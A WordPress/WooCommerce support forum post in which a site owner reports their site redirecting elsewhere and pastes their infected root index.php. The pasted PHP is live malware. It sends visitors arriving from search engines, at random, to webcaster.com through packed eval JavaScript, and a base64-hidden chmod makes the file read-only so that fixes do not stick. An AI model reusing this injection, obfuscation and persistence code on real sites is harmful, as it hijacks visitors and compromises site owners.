Website Redirect Issue - by sarvan - on WordPress WooCommerce support

Hello Boss,
We have purchased The Legenda theme, now we are using this theme on our website as http://www.doorshoppy.com,
There is issue of site redirecting on http://www.warcaster.com/ please check and suggest solution asap..

i had seen an error on index page that situated in root folder the code are-
i was replaced webcaster to doorshoppy but it’s again changed automatically plz see code

**********************************************************************************************

<?php
/**
* Front to the WordPress application. This file doesn’t do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
error_reporting(0);
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define(‘WP_USE_THEMES’, true);
$url = $_SERVER[“HTTP_REFERER”];if(strpos($url,’.google.’)||strpos($url,’.bing.’)||strpos($url,’.yahoo.’)){ $ran=rand(1,10);if($ran < 7 && $ran > 2){ echo “<script type=\”text/javascript\”>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?\”\”:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\\\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\\\b’+e(c)+’\\\b’,’g’),k[c]);return p;}(‘2.1.0=\”3://6.5.4\”‘,7,7,’href|location|window|http|com|webcaster|www’.split(‘|’),0,{}))</script>”;}else if($ran < 3){echo “<script type=\”text/javascript\”> window.location.href=\”https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0CDEQFj&url=http%3A%2F%2Fwebcaster.com%2F&usg=AFQjCNFTzSvOV_MsVA3NrxOdqGB23DHCOw\”</script>”; }};eval(base64_decode(“Y2htb2QoZGlybmFtZSggX19GSUxFX18gKSAuICcvaW5kZXgucGhwJywwNDQ0KTs=”));
/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . ‘/wp-blog-header.php’ );